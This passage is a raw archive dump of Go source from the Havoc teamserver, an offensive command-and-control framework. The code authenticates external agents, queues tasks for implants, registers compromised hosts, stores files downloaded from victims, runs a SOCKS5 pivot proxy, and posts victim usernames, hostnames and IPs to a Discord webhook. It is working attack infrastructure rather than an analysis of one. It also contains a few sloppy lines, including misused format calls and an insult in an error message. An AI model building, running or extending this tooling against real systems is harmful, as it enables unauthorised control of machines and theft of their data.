make(map[string]chan []byte) } a.client.Responses[randID] = make(chan []byte) a.client.Mutex.Lock() err := a.client.Conn.WriteJSON(AgentResponse) a.client.Mutex.Unlock() if err != nil { logger.Error("Failed to write json to websocket: " + err.Error()) return nil } var data []byte if channel, ok := a.client.Responses[randID]; ok { data = <-channel close(a.client.Responses[randID]) delete(a.client.Responses, randID) } return data } func (a *AgentService) SendAgentBuildRequest(ClientID string, Config map[string]any, Options map[string]any) { var AgentResponse = map[string]map[string]interface{}{ "Head": { "Type": HeadAgent, }, "Body": { "ClientID": ClientID, "Type": BodyAgentBuild, "Config": Config, "Options": Options, }, } a.client.Mutex.Lock() err := a.client.Conn.WriteJSON(AgentResponse) a.client.Mutex.Unlock() if err != nil { logger.Error("Failed to write json to websocket: " + err.Error()) return } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/service/external.go000066400000000000000000000000201467014221700240260ustar00rootroot00000000000000package service havoc-0.6~git20240910.69ce17c/teamserver/pkg/service/listener.go000066400000000000000000000014601467014221700240420ustar00rootroot00000000000000package service import ( "Havoc/pkg/logger" "encoding/json" ) type ListenerService struct { Name string `json:"Name"` Agent string `json:"Agent"` Items []map[string]any `json:"Items"` // from where this listener came from. client *ClientService `json:"-"` } func (l *ListenerService) Start(Info map[string]any) error { var Request = map[string]map[string]interface{}{ "Head": { "Type": HeadListener, }, "Body": { "Type": BodyListenerStart, "Listener": Info, }, } if err := l.client.WriteJson(Request); err != nil { logger.Error("Failed to write json to websocket: " + err.Error()) return err } return nil } func (l *ListenerService) Json() string { var JsonString, err = json.Marshal(l) if err != nil { return "" } return string(JsonString) } havoc-0.6~git20240910.69ce17c/teamserver/pkg/service/service.go000066400000000000000000000443671467014221700236720ustar00rootroot00000000000000package service import ( "Havoc/pkg/colors" "encoding/base64" "encoding/hex" "encoding/json" "fmt" "strconv" "strings" "time" "Havoc/pkg/agent" "Havoc/pkg/common" "Havoc/pkg/events" "Havoc/pkg/logger" "Havoc/pkg/logr" "github.com/gin-gonic/gin" "github.com/gorilla/websocket" "golang.org/x/crypto/sha3" ) // Service API Module // Interact with external services (Custom Agents, ExternalC2s etc.) func NewService(engine *gin.Engine) *Service { var service = new(Service) service.engine = engine return service } func (s *Service) Start() { s.engine.GET("/"+s.Config.Endpoint, func(context *gin.Context) { upgrade := websocket.Upgrader{} WebSocket, err := upgrade.Upgrade(context.Writer, context.Request, nil) if err != nil { logger.Error("Failed upgrading request: " + err.Error()) return } go s.handleConnection(WebSocket) }) } func (s *Service) handleConnection(socket *websocket.Conn) { var client = new(ClientService) client.Conn = socket if !s.authenticate(client) { logger.Error("Failed to authenticate service client") err := client.Conn.Close() if err != nil { logger.Error("Failed to close websocket service client: " + err.Error()) return } return } // now add the new connected client s.clients = append(s.clients, client) // dispatch incoming events s.routine(client) // close connection and remove from service client list s.ClientClose(client) } func (s *Service) authenticate(client *ClientService) bool { var ( Authed = false Hasher = sha3.New256() UserPass string ServicePass string AuthRequest struct { Head struct { Type string `json:"Type"` } `json:"Head"` Body struct { Pass string `json:"Password"` } `json:"Body"` } AuthResponse = map[string]map[string]interface{}{ "Head": { "Type": HeadRegister, }, "Body": { "Success": false, }, } Response []byte ) err := client.Conn.ReadJSON(&AuthRequest) if err != nil { logger.Error("Failed to read JSON message from websocket service client: " + err.Error()) return false } if AuthRequest.Head.Type == HeadRegister { Hasher.Write([]byte(AuthRequest.Body.Pass)) UserPass = hex.EncodeToString(Hasher.Sum(nil)) Hasher.Reset() Hasher.Write([]byte(s.Config.Password)) ServicePass = hex.EncodeToString(Hasher.Sum(nil)) Hasher.Reset() if UserPass == ServicePass { logger.Debug("Service client authenticated") Authed = true } AuthResponse["Body"]["Success"] = Authed Response, err = json.Marshal(AuthResponse) if err != nil { logger.Error("Failed marshaling response: " + err.Error()) } client.Mutex.Lock() err := client.Conn.WriteMessage(websocket.TextMessage, Response) client.Mutex.Unlock() if err != nil { logger.Error("Failed to write message: " + err.Error()) return false } return Authed } return Authed } // the main service routine func (s *Service) routine(client *ClientService) { for { var ( _, data, err = client.Conn.ReadMessage() response = make(map[string]map[string]any) ) if err != nil { logger.DebugError("Failed to read JSON message from websocket service client: " + err.Error()) return } err = json.Unmarshal(data, &response) if err != nil { logger.Error("Failed to unmarshal websocket response: " + err.Error()) return } s.dispatch(response, client) } } func (s *Service) dispatch(response map[string]map[string]any, client *ClientService) { switch response["Head"]["Type"] { case HeadRegisterAgent: var ( data []byte err error as *AgentService ) data, err = json.Marshal(response["Body"]["Agent"]) if err != nil { logger.Error("Failed to marshal object to json: " + err.Error()) return } as = NewAgentService(data, client) if as == nil { logger.Error("Failed to make a new service agent.") return } // check if that agent name is already registered. if s.AgentExist(as.Name) { logger.Error(fmt.Sprintf("Service agent \"%v\"already registered ", as.Name)) return } as.service = s s.Agents = append(s.Agents, as) logger.Info(fmt.Sprintf("%v registered a new agent %v", "["+colors.BoldWhite("SERVICE")+"]", "[Name: "+colors.Blue(as.Name)+"]")) pk := events.Service.AgentRegister(string(data)) s.Teamserver.EventAppend(pk) s.Teamserver.EventBroadcast("", pk) logger.Debug(as.Json()) case HeadAgent: switch response["Body"]["Type"] { case BodyAgentTask: var ( Agent map[string]any Task string ) if val, ok := response["Body"]["Agent"]; ok && val != nil { Agent = val.(map[string]any) } if val, ok := response["Body"]["Task"]; ok { Task = val.(string) } else { logger.Debug("response BodyAgentTask doesn't contain Task") return } if Task == "Add" { for index := range s.Data.ServerAgents.Agents { if Agent["NameID"] == s.Data.ServerAgents.Agents[index].NameID { var Command, err = base64.StdEncoding.DecodeString(response["Body"]["Command"].(string)) if err != nil { logger.Error("Failed to decode command response: " + err.Error()) } var TaskJob = agent.Job{ Payload: Command, } s.Data.ServerAgents.Agents[index].AddJobToQueue(TaskJob) } } } else if Task == "Get" { if _, ok := response["Body"]["TasksQueue"]; !ok { for index := range s.Data.ServerAgents.Agents { if Agent["NameID"] == s.Data.ServerAgents.Agents[index].NameID { logger.Debug("Found agent") var ( TasksQueue = s.Data.ServerAgents.Agents[index].GetQueuedJobs() PayloadBuffer []byte ) for _, task := range TasksQueue { PayloadBuffer = append(PayloadBuffer, task.Payload...) } response["Body"]["TasksQueue"] = base64.StdEncoding.EncodeToString(PayloadBuffer) if err := client.WriteJson(response); err != nil { logger.Debug("Failed to write json to service client: " + err.Error()) return } s.Data.ServerAgents.Agents[index].Info.LastCallIn = time.Now().Format("02-01-2006 15:04:05") logger.Debug("Wrote to the client") break } } } return } case BodyAgentRegister: var ( Size int MagicValue string AgentID string Header = agent.Header{} RegisterInfo = response["Body"]["RegisterInfo"].(map[string]any) AgentInstance *agent.Agent err error ) logger.Debug(RegisterInfo) if val, ok := response["Body"]["AgentHeader"].(map[string]any)["Size"]; ok { if Size, err = strconv.Atoi(val.(string)); err != nil { Size = 0 } Header.Size = Size } if val, ok := response["Body"]["AgentHeader"].(map[string]any)["MagicValue"]; ok { MagicValue = val.(string) } if val, ok := response["Body"]["AgentHeader"].(map[string]any)["AgentID"]; ok { AgentID = val.(string) } MagicValue64, err := strconv.ParseInt(MagicValue, 16, 32) if err != nil { logger.Error("MagicValue64: " + err.Error()) } AgentID64, err := strconv.ParseInt(AgentID, 16, 32) if err != nil { logger.Error("MagicValue64: " + err.Error()) } Header.AgentID = int(AgentID64) Header.MagicValue = int(MagicValue64) logger.Debug(Header) AgentInstance = agent.RegisterInfoToInstance(Header, RegisterInfo) AgentInstance.Info.MagicValue = Header.MagicValue // AgentInstance.Info.Listener = h s.Teamserver.AgentAdd(AgentInstance) pk := events.Demons.NewDemon(AgentInstance) s.Teamserver.EventAppend(pk) s.Teamserver.EventBroadcast("", pk) break case BodyAgentResponse: logger.Debug("BodyAgentResponse") logger.Debug(response) var RandID string if val, ok := response["Body"]["RandID"]; ok { RandID = val.(string) } else { logger.Debug("RandID not found") return } logger.Debug(s.clients) for _, c := range s.clients { if channel, ok := c.Responses[RandID]; ok { if val, ok := response["Body"]["Response"]; ok { var ( resp []byte err error ) if resp, err = base64.StdEncoding.DecodeString(val.(string)); err != nil { logger.Debug("Failed to decode base64: " + err.Error()) } channel <- resp } break } } break case BodyAgentOutput: var ( AgentID = response["Body"]["AgentID"].(string) Callback = response["Body"]["Callback"].(map[string]any) ) if Callback["MiscType"] == "download" { var ( FileName = Callback["FileName"].(string) ContentB64 = Callback["Content"].(string) ) if FileContent, err := base64.StdEncoding.DecodeString(ContentB64); err == nil { FileName = strings.Replace(FileName, "\x00", "", -1) logger.Debug(fmt.Sprintf("Added downloaded file %v to agent directory: %v", FileName, AgentID)) logr.LogrInstance.DemonAddDownloadedFile(AgentID, FileName, FileContent) Callback = make(map[string]any) Callback["MiscType"] = "download" Callback["MiscData"] = ContentB64 Callback["MiscData2"] = base64.StdEncoding.EncodeToString([]byte(FileName)) + ";" + common.ByteCountSI(int64(len(FileContent))) } else { logger.Debug("Failed to decode FileContent base64: " + err.Error()) Callback = make(map[string]any) Callback["Type"] = "Error" Callback["Message"] = "Failed to decode FileContent base64: " + err.Error() } } if out, err := json.Marshal(Callback); err == nil { pk := events.Demons.DemonOutput(AgentID, agent.HAVOC_CONSOLE_MESSAGE, string(out)) s.Teamserver.EventAppend(pk) s.Teamserver.EventBroadcast("", pk) } break case BodyAgentBuild: var ( ClientID = response["Body"]["ClientID"].(string) Message = response["Body"]["Message"].(map[string]any) ) if len(ClientID) > 0 { if _, ok := Message["FileName"]; ok { var ( FileName = Message["FileName"].(string) PayloadMsg = Message["Payload"].(string) Payload []byte err error ) Payload, err = base64.StdEncoding.DecodeString(PayloadMsg) if err != nil { err = s.Teamserver.SendEvent(ClientID, events.Gate.SendConsoleMessage("Error", "Failed to decode base64 payload: "+err.Error())) if err != nil { logger.Error("Couldn't send Event: " + err.Error()) return } } err = s.Teamserver.SendEvent(ClientID, events.Gate.SendStageless(FileName, Payload)) if err != nil { logger.Error("Error while sending event: " + err.Error()) return } } else { var ( MessageType = Message["Type"].(string) MessageText = Message["Message"].(string) ) err := s.Teamserver.SendEvent(ClientID, events.Gate.SendConsoleMessage(MessageType, MessageText)) if err != nil { logger.Error("Couldn't send Event: " + err.Error()) return } } } else { logger.Error("ClientID not specified") } break default: break } break case HeadListener: switch response["Body"]["Type"] { case BodyListenerAdd: if val, ok := response["Body"]["Listener"]; ok { var ( listenerService = new(ListenerService) Listener map[string]any ) Listener = val.(map[string]any) // retrieve the listener name if val, ok = Listener["Name"]; ok { listenerService.Name = val.(string) } else { return } // retrieve the listener agent allowed if val, ok = Listener["Agent"]; ok { listenerService.Agent = val.(string) } else { return } // retrieve the listener agent allowed if val, ok = Listener["Items"]; ok { for _, a := range val.([]any) { listenerService.Items = append(listenerService.Items, a.(map[string]any)) } } else { return } listenerService.client = client if !s.ListenerExist(listenerService.Name) { s.ListenerAdd(listenerService) } else { logger.Error(fmt.Sprintf("Service listener already exist %v", listenerService.Name)) } } break case BodyListenerStart: if val, ok := response["Body"]["Listener"]; ok { var ( Data map[string]any Listener = map[string]any{} ) Data = val.(map[string]any) // retrieve the listener name if val, ok = Data["Name"]; ok { Listener["Name"] = val } else { logger.DebugError("BodyListenerStart body listener doesn't contain Host string") return } // retrieve the listener protocol if val, ok = Data["Protocol"]; ok { Listener["Protocol"] = val } else { logger.DebugError("BodyListenerStart body listener doesn't contain Protocol string") return } // retrieve the listener host if val, ok = Data["Host"]; ok { Listener["Host"] = val } else { logger.DebugError("BodyListenerStart body listener doesn't contain Host string") return } // retrieve the listener port if val, ok = Data["PortBind"]; ok { Listener["Port"] = val } else { logger.DebugError("BodyListenerStart body listener doesn't contain Port string") return } // retrieve the listener error if val, ok = Data["Error"]; ok { Listener["Error"] = val } else { logger.DebugError("BodyListenerStart body listener doesn't contain Error string") return } // retrieve the listener status if val, ok = Data["Status"]; ok { Listener["Status"] = val } else { logger.DebugError("BodyListenerStart body listener doesn't contain Status string") return } // retrieve the listener info if val, ok = Data["Info"]; ok { Listener["Info"] = val } else { logger.DebugError("BodyListenerStart body listener doesn't contain Info map") return } // notify that we have an instance running. s.Teamserver.ListenerStartNotify(Listener) } break case BodyListenerExC2: var ( ExternalName string ExternalEndpoint string err error Request = map[string]map[string]any{ "Head": { "Type": HeadListener, }, "Body": { "Type": BodyListenerExC2, "ExC2": map[string]any{ "Success": true, "Error": "", "Name": "", }, }, } ) // retrieve the request id if val, ok := response["Head"]["RequestID"]; ok { Request["Head"]["RequestID"] = val.(string) } else { logger.Debug("Error: Head ExternalC2 RequestID not provided") return } // retrieve the externalc2 listener name if val, ok := response["Body"]["Name"]; ok { ExternalName = val.(string) } else { logger.Debug("Error: BodyListenerExC2 ExternalC2 Name not provided") return } // retrieve the externalc2 listener endpoint if val, ok := response["Body"]["Endpoint"]; ok { ExternalEndpoint = val.(string) } else { logger.Debug("Error: BodyListenerExC2 ExternalC2 Endpoint not provided") return } logger.Debug("Start listener service external c2", ExternalName, ExternalEndpoint) // start the service external c2 listener if err = s.Teamserver.ListenerServiceExc2Add(ExternalName, ExternalEndpoint, client); err != nil { logger.Error("Failed to start listener service externalC2: " + err.Error()) Request["Body"]["ExC2"].(map[string]any)["Success"] = false Request["Body"]["ExC2"].(map[string]any)["Error"] = err.Error() } err = client.WriteJson(Request) if err != nil { logger.Error("Failed to write to client websocket: " + err.Error()) return } break case BodyListenerTransmit: var ( RequestID string Response []byte err error ) if val, ok := response["Head"]["RequestID"]; ok { RequestID = val.(string) } else { logger.Debug("[BodyListenerTransmit] Failed to retrieve Head RequestID") return } if Response, err = base64.StdEncoding.DecodeString(response["Body"]["Request"].(string)); err != nil { logger.Debug("[BodyListenerTransmit] Failed to decode request response: " + err.Error()) return } if channel, ok := client.Responses[RequestID]; ok { channel <- Response } else { logger.Debug("[BodyListenerTransmit] Failed to retrieve response channel") return } break } break default: break } } func (s *Service) AgentExist(name string) bool { for _, a := range s.Agents { if a.Name == name { return true } } return false } func (s *Service) ClientClose(client *ClientService) { if client == nil { return } for i := range s.clients { if s.clients[i] == client { // remove registered agents for j := range s.Agents { if s.Agents[j] != nil { if s.Agents[j].client == client { logger.Warn(fmt.Sprintf("%v unregistered agent %v", "["+colors.BoldWhite("SERVICE")+"]", "[Name: "+colors.Blue(s.Agents[j].Name)+"]")) // remove from list s.Agents = append(s.Agents[:j], s.Agents[j+1:]...) break } } } // remove registered listeners for j := range s.Listeners { if s.Listeners[j] != nil { if s.Listeners[j].client == client { logger.Warn(fmt.Sprintf("%v unregistered a new listener %v %v", "["+colors.BoldWhite("SERVICE")+"]", "[Name: "+colors.Blue(s.Listeners[j].Name)+"]", "[Agent: "+colors.Blue(s.Listeners[j].Agent)+"]")) // remove from list s.Listeners = append(s.Listeners[:j], s.Listeners[j+1:]...) break } } } // close client connection if s.clients[i].Conn != nil { err := s.clients[i].Conn.Close() if err != nil { logger.DebugError("Failed to close service client connection: " + err.Error()) } } // remove from list s.clients = append(s.clients[:i], s.clients[i+1:]...) } } } func (s *Service) ListenerExist(Name string) bool { for i := range s.Listeners { // check if the listener name is equal to the name we specified. // if yes then return that we found one with the exact same name. if s.Listeners[i].Name == Name { return true } } // didn't found a listener with the exact same name that the caller specified. return false } func (s *Service) ListenerAdd(listener *ListenerService) { logger.Info(fmt.Sprintf("%v registered a new listener %v %v", "["+colors.BoldWhite("SERVICE")+"]", "[Name: "+colors.Blue(listener.Name)+"]", "[Agent: "+colors.Blue(listener.Agent)+"]")) if listener != nil { s.Listeners = append(s.Listeners, listener) pk := events.Service.ListenerRegister(listener.Json()) s.Teamserver.EventAppend(pk) s.Teamserver.EventBroadcast("", pk) } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/service/types.go000066400000000000000000000031231467014221700233570ustar00rootroot00000000000000package service import ( "Havoc/pkg/agent" "Havoc/pkg/packager" "Havoc/pkg/profile" "sync" "github.com/gin-gonic/gin" "github.com/gorilla/websocket" ) type ClientService struct { Conn *websocket.Conn Mutex sync.Mutex Responses map[string]chan []byte } type Teamserver interface { AgentAdd(agent *agent.Agent) []*agent.Agent ListenerServiceExc2Add(Name, ExEndpoint string, client *ClientService) error ListenerStartNotify(Listener map[string]any) EventAppend(pk packager.Package) []packager.Package EventBroadcast(FromUser string, pk packager.Package) SendEvent(id string, pk packager.Package) error } type ConfigService struct { Endpoint string Name string Password string } type Service struct { engine *gin.Engine clients []*ClientService Config profile.ServiceConfig Teamserver Teamserver Agents []*AgentService Listeners []*ListenerService Data struct { ServerAgents *agent.Agents } } const ( HeadRegister = "Register" HeadRegisterAgent = "RegisterAgent" HeadAgent = "Agent" HeadListener = "Listener" BodyAgentRegister = "AgentRegister" BodyAgentTask = "AgentTask" BodyAgentResponse = "AgentResponse" BodyAgentOutput = "AgentOutput" BodyAgentBuild = "AgentBuild" BodyListenerAdd = "ListenerAdd" BodyListenerExC2 = "ListenerAddExC2" BodyListenerStart = "ListenerStart" BodyListenerShutdown = "ListenerShutdown" BodyListenerTransmit = "ListenerTransmit" ) func (c *ClientService) WriteJson(v any) error { var err error c.Mutex.Lock() err = c.Conn.WriteJSON(v) c.Mutex.Unlock() return err } havoc-0.6~git20240910.69ce17c/teamserver/pkg/socks/000077500000000000000000000000001467014221700213475ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/socks/socks.go000066400000000000000000000016211467014221700230200ustar00rootroot00000000000000package socks import ( "errors" "net" "strings" ) type Socks struct { listener net.Listener addr string handler func(s *Socks, conn net.Conn) Failed bool Clients []int32 } func NewSocks(addr string) *Socks { var socks = new(Socks) if !strings.Contains(addr, ":") { return nil } socks.addr = addr return socks } func (s *Socks) SetHandler(handler func(s *Socks, conn net.Conn)) { s.handler = handler } func (s *Socks) Start() error { var ( err error con net.Conn ) if s.handler == nil { return errors.New("handler not specified") } /* listen on the specified addr */ if s.listener, err = net.Listen("tcp", s.addr); err != nil { return err } for { /* accepts any new connections */ if con, err = s.listener.Accept(); err != nil { return err } go s.handler(s, con) } } func (s *Socks) Close() { if s.listener != nil { s.listener.Close() } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/socks/util.go000066400000000000000000000153431467014221700226610ustar00rootroot00000000000000package socks import ( "bufio" "encoding/binary" "errors" "net" "fmt" "Havoc/pkg/logger" ) type Socks5AuthTypes byte type HostIpTypes byte const ( Version byte = 0x5 ) const ( NoAuth byte = 0 GssApi byte = 1 UserPass byte = 2 NoMatch byte = 0xff ) const ( IPv4 byte = 1 FQDN byte = 3 IPv6 byte = 4 ) const ( Succeeded = 0x00 GeneralSocksServerFailure = 0x01 NetworkUnreachable = 0x03 HostUnreachable = 0x04 ConnectionRefused = 0x05 TTLExpired = 0x06 CommandNotSupported = 0x07 AddressTypeNotSupported = 0x08 ) const ( ConnectCommand = 0x1 ) const ( WSAETIMEDOUT = 10060 WSAECONNREFUSED = 10061 WSAEHOSTUNREACH = 10065 WSAENETUNREACH = 10051 ) type SocksHeader struct { Version byte Command byte RSV byte ATYP byte IpDomain []byte Port uint16 } type NegotiationHeader struct { Version byte NMethods byte Methods []byte } func SubNegotiationClient(conn net.Conn) (NegotiationHeader, error) { var ( header NegotiationHeader reader = bufio.NewReader(conn) err error NumMethods byte ) /* * Client Version identifier/method selection message * +----+----------+----------+ * |VER | NMETHODS | METHODS | * +----+----------+----------+ */ header.Version, err = reader.ReadByte() if err != nil { return header, err } /* check if it's a socks5 header */ if header.Version != 0x5 { return header, errors.New(fmt.Sprint("socks version (%d) is not 5 (0x5)", header.Version)) } header.NMethods, err = reader.ReadByte() if err != nil { return header, err } NumMethods = header.NMethods for NumMethods != 0 { var AuthType byte AuthType, err = reader.ReadByte() if err != nil { return header, err } header.Methods = append(header.Methods, AuthType) NumMethods -= 1 } return header, nil } func ReadSocksHeader(conn net.Conn) (SocksHeader, error) { var ( header SocksHeader reader = bufio.NewReader(conn) err error ) /* * From rfc 1928 (S4), the SOCKS request is formed as follows: * * +----+-----+-------+------+----------+----------+ * |VER | CMD | RSV | ATYP | DST.ADDR | DST.PORT | * +----+-----+-------+------+----------+----------+ * | 1 | 1 | X'00' | 1 | Variable | 2 | * +----+-----+-------+------+----------+----------+ * * Where: * * o VER protocol version: X'05' * o CMD * o CONNECT X'01' * o BIND X'02' * o UDP ASSOCIATE X'03' * o RSV RESERVED * o ATYP address type of following address * o IP V4 address: X'01' * o DOMAINNAME: X'03' * o IP V6 address: X'04' * o DST.ADDR desired destination address * o DST.PORT desired destination port in network octet * order */ header.Version, err = reader.ReadByte() if err != nil { return header, err } /* check if it's a socks5 header */ if header.Version != 0x5 { return header, errors.New(fmt.Sprint("socks version (%d) is not 5 (0x5)", header.Version)) } header.Command, err = reader.ReadByte() if err != nil { return header, err } header.RSV, err = reader.ReadByte() if err != nil { return header, err } if header.RSV != 0x0 { return header, errors.New(fmt.Sprint("socks RSV (%d) is not 0 (0x0)", header.RSV)) } header.ATYP, err = reader.ReadByte() if err != nil { return header, errors.New("ATYP puto el que lee") } if header.ATYP == 0x1 { // IP V4 address header.IpDomain = make([]byte, 4) n, err := reader.Read(header.IpDomain) if err != nil { return header, err } if n != 4 { return header, errors.New("failed to read the IPv4 address") } } else if header.ATYP == 0x3 { // DOMAINNAME var DomainLength byte DomainLength, err = reader.ReadByte() if err != nil { return header, err } header.IpDomain = make([]byte, uint32(DomainLength)) n, err := reader.Read(header.IpDomain) if err != nil { return header, err } if uint32(n) != uint32(DomainLength) { return header, errors.New("failed to read the domain") } } else if header.ATYP == 0x4 { // IP V6 address header.IpDomain = make([]byte, 16) n, err := reader.Read(header.IpDomain) if err != nil { return header, err } if n != 16 { return header, errors.New("failed to read the IPv6 address") } } else { return header, errors.New(fmt.Sprint("socks ATYP (%d) is not valid", header.ATYP)) } PortArr := make([]byte, 2) PortArr[0], err = reader.ReadByte() if err != nil { return header, err } PortArr[1], err = reader.ReadByte() if err != nil { return header, err } header.Port = binary.BigEndian.Uint16(PortArr) return header, nil } /* * Server Reply * +----+-----+-------+------+----------+----------+ * |VER | REP | RSV | ATYP | BND.ADDR | BND.PORT | * +----+-----+-------+------+----------+----------+ */ func CreateResponsePackage(ErrorType byte, ATYP byte, IpDomain []byte, Port uint16) []byte { // version, reply type, reserved byte and the address type response := []byte{Version, ErrorType, 0x00, ATYP} // if the address type is FQDN, first add the size of the domain if ATYP == FQDN { response = append(response, byte(len(IpDomain))) } // add IPv4/IPv6/FQDN response = append(response, IpDomain...) // port response = append(response, byte((Port >> 8) & 0xff)) response = append(response, byte((Port >> 0) & 0xff)) return response } func SendConnectSuccess(conn net.Conn, ATYP byte, IpDomain []byte, Port uint16) error { _, err := conn.Write(CreateResponsePackage(Succeeded, ATYP, IpDomain, Port)) return err } func SendAddressTypeNotSupported(conn net.Conn) error { _, err := conn.Write([]byte{Version, AddressTypeNotSupported, 0x00, IPv4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) return err } func SendCommandNotSupported(conn net.Conn) error { _, err := conn.Write([]byte{Version, CommandNotSupported, 0x00, IPv4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) return err } func SendConnectFailure(conn net.Conn, ErrorCode uint32, ATYP byte, IpDomain []byte, Port uint16) error { var err error var Response byte if ErrorCode == WSAETIMEDOUT { // Connection Time-out Response = TTLExpired } else if ErrorCode == WSAECONNREFUSED { // ConnectionRefused Response = ConnectionRefused } else if ErrorCode == WSAEHOSTUNREACH { // HostUnreachable Response = HostUnreachable } else if ErrorCode == WSAENETUNREACH { // NetworkUnreachable Response = NetworkUnreachable } else { // some other generic error logger.Debug(fmt.Sprintf("Unknown Socks5 error code: %d", ErrorCode)) Response = GeneralSocksServerFailure } _, err = conn.Write(CreateResponsePackage(Response, ATYP, IpDomain, Port)) return err } havoc-0.6~git20240910.69ce17c/teamserver/pkg/utils/000077500000000000000000000000001467014221700213655ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/utils/utils.go000066400000000000000000000070671467014221700230660ustar00rootroot00000000000000package utils import ( "encoding/base64" "encoding/binary" "unicode/utf16" "fmt" "math/rand" "os" "strconv" "strings" "time" "unsafe" "Havoc/pkg/logger" ) const letterBytes = "abcdef0123456789" const ( letterIdxBits = 4 letterIdxMask = 1<= 0; { if remain == 0 { cache, remain = src.Int63(), letterIdxMax } if idx := int(cache & letterIdxMask); idx < len(letterBytes) { b[i] = letterBytes[idx] i-- } cache >>= letterIdxBits remain-- } return string(b) } func GenerateString(min int, max int) string { rand.Seed(time.Now().UnixNano()) length := min + rand.Intn(max - min + 1) var letterRunes = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ") b := make([]rune, length) for i := range b { b[i] = letterRunes[rand.Intn(len(letterRunes))] } return string(b) } func EncodeCommand(x string) string { encodedCMD := base64.StdEncoding.EncodeToString([]byte(x)) return encodedCMD } func IP2Inet(ipaddr string) uint32 { var ( ip = strings.Split(ipaddr, ".") ip1, ip2, ip3, ip4 uint64 ret uint32 ) ip1, _ = strconv.ParseUint(ip[0], 10, 8) ip2, _ = strconv.ParseUint(ip[1], 10, 8) ip3, _ = strconv.ParseUint(ip[2], 10, 8) ip4, _ = strconv.ParseUint(ip[3], 10, 8) ret = uint32(ip4)<<24 + uint32(ip3)<<16 + uint32(ip2)<<8 + uint32(ip1) return ret } func Port2Htons(port uint16) uint16 { b := make([]byte, 2) binary.BigEndian.PutUint16(b, port) return *(*uint16)(unsafe.Pointer(&b[0])) } func ByteCountSI(b int64) string { const unit = 1000 if b < unit { return fmt.Sprintf("%d B", b) } div, exp := int64(unit), 0 for n := b / unit; n >= unit; n /= unit { div *= unit exp++ } return fmt.Sprintf("%.2f %cB", float64(b)/float64(div), "kMGTPE"[exp]) } func GetTeamserverPath() string { var ( Path string err error ) if Path, err = os.Getwd(); err != nil { logger.Error("Couldn't get current working directory of teamserver: " + err.Error()) return "" } return Path } /*func GetFieldName(fieldPinter interface{}) (name string) { val := reflect.ValueOf(structPoint).Elem() val2 := reflect.ValueOf(fieldPinter).Elem() for i := 0; i < val.NumField(); i++ { valueField := val.Field(i) if valueField.Addr().Interface() == val2.Addr().Interface() { return val.Type().Field(i).Name } } return }*/ func IntToHexString(Int int) string { return fmt.Sprintf("%x", Int) } func HexIntToString(HexInt int) string { var bs = make([]byte, 4) binary.LittleEndian.PutUint32(bs, uint32(HexInt)) return fmt.Sprintf("%x", binary.BigEndian.Uint32(bs)) } func HexIntToBigEndian(HexInt int) int { var bs = make([]byte, 4) binary.LittleEndian.PutUint32(bs, uint32(HexInt)) return int(binary.BigEndian.Uint32(bs)) }havoc-0.6~git20240910.69ce17c/teamserver/pkg/webhook/000077500000000000000000000000001467014221700216635ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/webhook/discord.go000066400000000000000000000023231467014221700236410ustar00rootroot00000000000000package webhook type Message struct { Username *string `json:"username,omitempty"` AvatarUrl *string `json:"avatar_url,omitempty"` Content *string `json:"content,omitempty"` Embeds *[]Embed `json:"embeds,omitempty"` } type Embed struct { Title *string `json:"title,omitempty"` Url *string `json:"url,omitempty"` Description *string `json:"description,omitempty"` Color *string `json:"color,omitempty"` Author *Author `json:"author,omitempty"` Fields *[]Field `json:"fields,omitempty"` Thumbnail *Thumbnail `json:"thumbnail,omitempty"` Image *Image `json:"image,omitempty"` Footer *Footer `json:"footer,omitempty"` } type Author struct { Name *string `json:"name,omitempty"` Url *string `json:"url,omitempty"` IconUrl *string `json:"icon_url,omitempty"` } type Field struct { Name *string `json:"name,omitempty"` Value *string `json:"value,omitempty"` Inline *bool `json:"inline,omitempty"` } type Thumbnail struct { Url *string `json:"url,omitempty"` } type Image struct { Url *string `json:"url,omitempty"` } type Footer struct { Text *string `json:"text,omitempty"` IconUrl *string `json:"icon_url,omitempty"` } havoc-0.6~git20240910.69ce17c/teamserver/pkg/webhook/webhook.go000066400000000000000000000063671467014221700236640ustar00rootroot00000000000000package webhook import ( "bytes" "encoding/json" "fmt" "io" "net/http" "strconv" ) type WebHook struct { Discord struct { Avatar string User string Url string } } func StringPtr(str string) *string { return &str } func BoolPtr(b bool) *bool { return &b } func NewWebHook() *WebHook { return new(WebHook) } func (w *WebHook) NewAgent(agent map[string]any) error { if len(w.Discord.Url) > 0 { var ( payload = new(bytes.Buffer) message Message embed Embed field Field AgentInfo map[string]any ) AgentInfo = agent["Info"].(map[string]any) message.AvatarUrl = &w.Discord.Avatar message.Username = &w.Discord.User message.Embeds = new([]Embed) embed.Title = StringPtr("New Agent Initialized") embed.Fields = new([]Field) field.Name = StringPtr("Agent ID") field.Value = StringPtr(agent["NameID"].(string)) field.Inline = BoolPtr(true) *embed.Fields = append(*embed.Fields, field) field.Name = StringPtr("Username") field.Value = StringPtr(AgentInfo["Username"].(string)) field.Inline = BoolPtr(true) *embed.Fields = append(*embed.Fields, field) field.Name = StringPtr("Hostname") field.Value = StringPtr(AgentInfo["Hostname"].(string)) field.Inline = BoolPtr(true) *embed.Fields = append(*embed.Fields, field) field.Name = StringPtr("Internal IP") field.Value = StringPtr(AgentInfo["InternalIP"].(string)) field.Inline = BoolPtr(true) *embed.Fields = append(*embed.Fields, field) field.Name = StringPtr("Process Path") field.Value = StringPtr(AgentInfo["ProcessPath"].(string)) field.Inline = BoolPtr(true) *embed.Fields = append(*embed.Fields, field) field.Name = StringPtr("Process Name") field.Value = StringPtr(AgentInfo["ProcessName"].(string)) field.Inline = BoolPtr(true) *embed.Fields = append(*embed.Fields, field) field.Name = StringPtr("Process ID") field.Value = StringPtr(strconv.Itoa(AgentInfo["ProcessPID"].(int))) field.Inline = BoolPtr(true) *embed.Fields = append(*embed.Fields, field) field.Name = StringPtr("Process Arch") field.Value = StringPtr(AgentInfo["ProcessArch"].(string)) field.Inline = BoolPtr(true) *embed.Fields = append(*embed.Fields, 